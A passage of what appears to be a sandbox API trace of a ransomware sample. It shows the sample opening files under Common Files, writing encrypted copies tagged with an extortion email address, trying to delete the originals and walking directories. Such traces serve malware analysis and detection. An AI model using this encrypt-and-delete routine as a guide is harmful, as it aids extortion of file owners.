() returned 0x9b0 [0123.860] GetLastError () returned 0x0 [0123.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0123.860] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0123.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0123.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.861] GetCurrentThreadId () returned 0x9b0 [0123.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.861] GetLastError () returned 0x0 [0123.861] GetLastError () returned 0x0 [0123.861] GetLastError () returned 0x0 [0123.861] GetLastError () returned 0x0 [0123.861] GetCurrentThreadId () returned 0x9b0 [0123.861] GetLastError () returned 0x0 [0123.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.862] GetCurrentThreadId () returned 0x9b0 [0123.862] GetLastError () returned 0x0 [0123.862] GetLastError () returned 0x0 [0123.862] GetLastError () returned 0x0 [0123.862] GetLastError () returned 0x0 [0123.862] GetCurrentThreadId () returned 0x9b0 [0123.862] GetLastError () returned 0x0 [0123.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32654e8 [0123.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a51d8 | out: hHeap=0x2ad0000) returned 1 [0123.862] GetLastError () returned 0x0 [0123.863] GetLastError () returned 0x0 [0123.863] GetLastError () returned 0x0 [0123.863] GetLastError () returned 0x0 [0123.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265478 [0123.863] GetLastError () returned 0x0 [0123.863] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.863] GetFileType (hFile=0x39c) returned 0x1 [0123.863] GetLastError () returned 0x0 [0123.863] GetCurrentThreadId () returned 0x9b0 [0123.864] GetLastError () returned 0x0 [0123.864] GetFileType (hFile=0x39c) returned 0x1 [0123.864] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.864] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.864] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.864] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.864] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.864] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.864] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.864] GetLastError () returned 0x0 [0123.864] GetCurrentThreadId () returned 0x9b0 [0123.864] GetLastError () returned 0x0 [0123.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265478 | out: hHeap=0x2ad0000) returned 1 [0123.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0123.865] GetLastError () returned 0x0 [0123.865] GetLastError () returned 0x0 [0123.865] GetLastError () returned 0x0 [0123.865] GetLastError () returned 0x0 [0123.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265618 [0123.865] GetLastError () returned 0x0 [0123.865] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.866] GetFileType (hFile=0x3ac) returned 0x1 [0123.866] GetLastError () returned 0x0 [0123.866] GetCurrentThreadId () returned 0x9b0 [0123.866] GetLastError () returned 0x0 [0123.866] GetFileType (hFile=0x3ac) returned 0x1 [0123.866] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.867] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.867] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.867] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.867] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.867] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.867] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.867] GetLastError () returned 0x0 [0123.867] GetCurrentThreadId () returned 0x9b0 [0123.867] GetLastError () returned 0x0 [0123.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0123.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0123.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.868] GetLastError () returned 0x0 [0123.868] GetLastError () returned 0x0 [0123.868] GetCurrentThreadId () returned 0x9b0 [0123.868] GetLastError () returned 0x0 [0123.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.868] GetLastError () returned 0x0 [0123.868] GetLastError () returned 0x0 [0123.868] GetCurrentThreadId () returned 0x9b0 [0123.869] GetLastError () returned 0x0 [0123.869] GetLastError () returned 0x0 [0123.870] GetLastError () returned 0x0 [0123.870] GetCurrentThreadId () returned 0x9b0 [0123.870] GetLastError () returned 0x0 [0123.871] GetCurrentThreadId () returned 0x9b0 [0123.871] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x1d75) returned 0x36f8548 [0123.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265558 [0123.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654e8 | out: hHeap=0x2ad0000) returned 1 [0123.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1d78) returned 0x35be9f8 [0123.871] GetLastError () returned 0x0 [0123.871] GetLastError () returned 0x0 [0123.871] GetLastError () returned 0x0 [0123.871] GetLastError () returned 0x0 [0123.871] GetCurrentThreadId () returned 0x9b0 [0123.871] GetLastError () returned 0x0 [0123.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0123.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.872] GetLastError () returned 0x0 [0123.873] GetLastError () returned 0x0 [0123.873] GetCurrentThreadId () returned 0x9b0 [0123.873] GetLastError () returned 0x0 [0123.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0778 | out: hHeap=0x2ad0000) returned 1 [0123.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fa2c8 [0123.873] GetLastError () returned 0x0 [0123.873] GetLastError () returned 0x0 [0123.873] GetCurrentThreadId () returned 0x9b0 [0123.873] GetLastError () returned 0x0 [0123.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fa2c8 | out: hHeap=0x2ad0000) returned 1 [0123.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.874] GetLastError () returned 0x0 [0123.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0123.874] CloseHandle (hObject=0x3ac) returned 1 [0123.874] GetLastError () returned 0x0 [0123.874] GetCurrentThreadId () returned 0x9b0 [0123.875] GetLastError () returned 0x0 [0123.875] GetLastError () returned 0x0 [0123.875] CloseHandle (hObject=0x39c) returned 1 [0123.875] GetLastError () returned 0x0 [0123.875] GetCurrentThreadId () returned 0x9b0 [0123.875] GetLastError () returned 0x0 [0123.875] GetCurrentThreadId () returned 0x9b0 [0123.875] GetLastError () returned 0x0 [0123.875] GetLastError () returned 0x0 [0123.875] GetLastError () returned 0x0 [0123.875] GetLastError () returned 0x0 [0123.876] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0 [0123.876] GetLastError () returned 0x5 [0123.876] GetCurrentThreadId () returned 0x9b0 [0123.876] GetLastError () returned 0x5 [0123.876] GetLastError () returned 0x5 [0123.876] GetLastError () returned 0x5 [0123.876] GetLastError () returned 0x5 [0123.876] LocalFree (hMem=0x1053b50) returned 0x0 [0123.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0123.877] GetLastError () returned 0x5 [0123.877] GetLastError () returned 0x5 [0123.877] GetLastError () returned 0x5 [0123.877] GetLastError () returned 0x5 [0123.877] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0123.877] GetLastError () returned 0x5 [0123.877] GetCurrentThreadId () returned 0x9b0 [0123.877] GetLastError () returned 0x5 [0123.877] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.877] GetLastError () returned 0x5 [0123.878] GetCurrentThreadId () returned 0x9b0 [0123.878] GetLastError () returned 0x5 [0123.878] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0123.878] GetLastError () returned 0x5 [0123.878] GetCurrentThreadId () returned 0x9b0 [0123.878] GetLastError () returned 0x5 [0123.878] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 0 [0123.878] GetLastError () returned 0x12 [0123.878] GetCurrentThreadId () returned 0x9b0 [0123.878] GetLastError () returned 0x12 [0123.878] GetLastError () returned 0x12 [0123.878] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0123.879] GetCurrentThreadId () returned 0x9b0 [0123.879] GetLastError () returned 0x12 [0123.879] GetLastError () returned 0x12 [0123.879] GetLastError () returned 0x12 [0123.879] GetLastError () returned 0x12 [0123.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.879] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us")) returned 0x10 [0123.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0123.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0123.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0123.880] GetCurrentThreadId () returned 0x9b0 [0123.880] GetLastError () returned 0x12 [0123.880] GetLastError () returned 0x12 [0123.880] GetLastError () returned 0x12 [0123.880] GetLastError () returned 0x12 [0123.880] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0123.880] GetLastError () returned 0x12 [0123.880] GetCurrentThreadId () returned 0x9b0 [0123.880] GetLastError () returned 0x12 [0123.881] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.881] GetLastError () returned 0x12 [0123.881] GetCurrentThreadId () returned 0x9b0 [0123.881] GetLastError () returned 0x12 [0123.881] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0123.881] GetLastError () returned 0x12 [0123.881] GetCurrentThreadId () returned 0x9b0 [0123.881] GetLastError () returned 0x12 [0123.881] GetLastError () returned 0x12 [0123.881] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0123.882] GetCurrentThreadId () returned 0x9b0 [0123.882] GetLastError () returned 0x12 [0123.882] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0123.882] GetLastError () returned 0x12 [0123.882] GetCurrentThreadId () returned 0x9b0 [0123.882] GetLastError () returned 0x12 [0123.882] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.882] GetLastError () returned 0x12 [0123.882] GetCurrentThreadId () returned 0x9b0 [0123.883] GetLastError () returned 0x12 [0123.883] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0123.883] GetLastError () returned 0x12 [0123.883] GetCurrentThreadId () returned 0x9b0 [0123.883] GetLastError () returned 0x12 [0123.883] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 0 [0123.883] GetLastError () returned 0x12 [0123.883] GetCurrentThreadId () returned 0x9b0 [0123.883] GetLastError () returned 0x12 [0123.883] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0123.883] GetLastError () returned 0x12 [0123.883] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us")) returned 0x10 [0123.884] GetCurrentThreadId () returned 0x9b0 [0123.884] GetLastError () returned 0x12 [0123.884] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0123.884] GetLastError () returned 0x12 [0123.884] GetCurrentThreadId () returned 0x9b0 [0123.884] GetLastError () returned 0x12 [0123.884] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.884] GetLastError () returned 0x12 [0123.885] GetCurrentThreadId () returned 0x9b0 [0123.885] GetLastError () returned 0x12 [0123.885] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0123.885] GetLastError () returned 0x12 [0123.885] GetCurrentThreadId () returned 0x9b0 [0123.885] GetLastError () returned 0x12 [0123.885] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0123.885] GetCurrentThreadId () returned 0x9b0 [0123.885] GetLastError () returned 0x12 [0123.885] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0123.886] GetLastError () returned 0x12 [0123.886] GetCurrentThreadId () returned 0x9b0 [0123.886] GetLastError () returned 0x12 [0123.886] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.886] GetLastError () returned 0x12 [0123.886] GetCurrentThreadId () returned 0x9b0 [0123.886] GetLastError () returned 0x12 [0123.886] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0123.886] GetLastError () returned 0x12 [0123.886] GetCurrentThreadId () returned 0x9b0 [0123.886] GetLastError () returned 0x12 [0123.886] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0123.887] GetLastError () returned 0x12 [0123.887] GetCurrentThreadId () returned 0x9b0 [0123.887] GetLastError () returned 0x12 [0123.887] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0123.887] GetLastError () returned 0x12 [0123.887] GetCurrentThreadId () returned 0x9b0 [0123.887] GetLastError () returned 0x12 [0123.887] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0123.887] GetCurrentThreadId () returned 0x9b0 [0123.887] GetLastError () returned 0x12 [0123.887] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0123.888] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0123.889] GetCurrentThreadId () returned 0x9b0 [0123.889] GetLastError () returned 0x12 [0123.889] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll", lpFilePart=0x9bada4*="msdia100.dll") returned 0x3e [0123.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.889] GetCurrentThreadId () returned 0x9b0 [0123.889] GetFullPathNameA (in: 